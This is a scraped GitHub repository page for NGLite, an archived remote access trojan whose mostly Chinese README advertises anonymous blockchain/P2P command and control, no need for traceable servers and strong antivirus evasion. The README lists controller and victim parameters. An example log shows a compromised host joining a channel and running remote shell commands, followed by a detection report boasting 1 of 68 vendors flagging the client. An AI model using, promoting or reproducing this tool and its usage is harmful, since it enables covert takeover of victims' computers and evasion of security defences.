






This repository has been archived by the owner on Oct 26, 2022. It is now read-only.


 **Maka8ka / NGLite** Public archive


 Notifications


 Fork 113


 Star 378


 Code


 Issues 1


 Pull requests


 Actions


 Projects

 Security


 Insights


 main ▾













Go to file

 Code ▾



	conf		
	lhunter		
	lprey		
	module		
	LICENSE		
	README.md		
	detection.png		
	example.png		

## About


A major platform RAT Tool based by Blockchain/P2P.Now support Windows/Linux/MacOS


 [paper.seebug.org/1638/](https://paper.seebug.org/1638/)


rat

-  Readme
-  MIT license
-  Activity
-  378 stars
-  13 watching
-  113 forks

Report repository

 README

 MIT license



# NGLite

- 基于区块链网络的匿名跨平台远控程序
- 实现原理[链接](#)

## Releases 2

 add -n -g model Latest  
on Jul 13, 2021

[+ 1 release](#)

## Packages

No packages published

## 优势&劣势

理论上完全的匿名性，当然要是有人监测并分析了所有中间节点除外，目前节点约8W个

无需任何公网资源，只需要通信主机能上网即可

无需实名购买IP/域名/服务器/CDN等等资源

目前免杀性能优

连接稍多，体积较大，大家可自行通过upx等进行压缩

## 目前支持参数

控制端

`-n new` 生成新的频道/群组/seed  
`-g 9e8124591f55d27b48ba907f2ad39e790ec589b3942d`  
`$mac$ip shell` 对执行主机发送shell命令

被控端

`-g 9e8124591f55d27b48ba907f2ad39e790ec589b3942d`



## Languages

● Go 100.0%

## Example

```
C:\Users\admin\Downloads\Programs>controller_win_x64.exe -n new
9e8124591f55d27b48ba907f2ad39e790ec589b3942dec2a19e7c2a96b751922 生成新频道/群组

C:\Users\admin\Downloads\Programs>controller_win_x64.exe -g 9e8124591f55d27b48ba907f2ad39e790ec589b3942dec2a19e7c2a96b751922
指定频道/群组进行监听
starting...
2021/07/13 main.go:216: New Client " 00: [redacted]:1210.0.0.1 "Added, msg from 00: [redacted]:1210.0.0.1.f42829633441bf00e058213f7e1b2a92c96916aa7978f2a4c0bb476184795df9 新的被拉主机加入频道
00: [redacted]:1210.0.0.1 whoami 发送指令 格式为: mac地址主机的第一个网卡地址 命令
2021/07/13 main.go:139: Run Command e12e3a28ab20ee4da0778490f4c3248.f42829633441bf00e058213f7e1b2a92c96916aa7978f2a4c0bb476184795df9 to 00: [redacted]:1210.0.0.1.f42829633441bf00e058213f7e1b2a92c96916aa7978f2a4c0bb476184795df9
desktop: [redacted]:\admin 回显结果
2021/07/13 client.go:632: read tcp 192.168.1.121:62156->34. [redacted]:30002: use of closed network connection
2021/07/13 client.go:632: read tcp 192.168.1.121:62162->54. [redacted]:30002: use of closed network connection
2021/07/13 client.go:632: read tcp 192.168.1.121:62158->104. [redacted]:30002: use of closed network connection
2021/07/13 client.go:632: read tcp 192.168.1.121:62160->142. [redacted]:30002: use of closed network connection
00: [redacted]:1210.0.0.1 dir
2021/07/13 main.go:139: Run Command 6d75c980ac77ad3655984157b7457f6.f42829633441bf00e058213f7e1b2a92c96916aa7978f2a4c0bb476184795df9 to 00: [redacted]:1210.0.0.1.f42829633441bf00e058213f7e1b2a92c96916aa7978f2a4c0bb476184795df9
驱动器 C 中的卷没有标签。
卷的序列号是 9E31-0CF1

C:\Users\admin\Downloads\Programs 的目录
2021/07/13 10:40 <DIR> .
2021/07/13 10:40 <DIR> ..
2021/07/07 09:43 66,496,952 aDrive.exe
2021/05/08 11:21 1,310,832 ChromeSetup.exe
2021/05/26 08:51 13,237,760 client_amd64_windows.exe
2021/07/13 10:40 13,307,392 client_win_x64.exe
2021/05/26 08:51 12,901,888 controller_amd64_windows.exe
2021/07/13 10:40 12,967,424 controller_win_x64.exe
2021/05/13 08:49 7,435,152 GPU-Z.2.39.0.exe

Microsoft Windows [版本 10.0.19043.1083]
(c) Microsoft Corporation. 保留所有权利。

C:\Users\admin\Downloads\Programs>client_win_x64.exe -g 9e8124591f55d27b48ba907f2ad39e790ec589b3942dec2a19e7c2a96b751922
OK
2021/07/13 client.go:632: read tcp 192.168.1.121:62113->35.162.2.124:30002: i/o timeout
2021/07/13 client.go:697: Reconnect in 1000 ms...
2021/07/13 client.go:664: INTERNAL ERROR: Wait for reply timeout
2021/07/13 client.go:654: Retry in 1000 ms...
2021/07/13 client.go:664: INTERNAL ERROR: Wait for reply timeout
2021/07/13 client.go:654: Retry in 2000 ms...
2021/07/13 client.go:632: read tcp 192.168.1.121:56482->35.162.2.124:30002: i/o timeout
2021/07/13 client.go:697: Reconnect in 1000 ms...
```

## 后续开发

介于P2P的特性以及分布的7w多个网络节点，这个网络天生具有大文件传输的优势及网络传输速度的优势。

后续考虑增加文件传输、内网穿透代理等功能。

代码写的比较乱，稍后整理一下，将功能分离后会更新源代码。

## Detection

1

/ 68

1 security vendor flagged this file as malicious

c14831796b7b3e6ca9e7186638773dcd75430f7c1684b7d063c7d9ca7a77609

client\_win\_x64.exe

64bits assembly peexe

12.69 MB

Size

2021-07-13 05:36:16 UTC

a moment ago

EXE

Community Score

DETECTION

DETAILS

BEHAVIOR

COMMUNITY

[Terms](#)
[Privacy](#)
[Security](#)
[Status](#)
[Docs](#)
[Contact](#)
[Manage cookies](#)
[Do not share my personal information](#)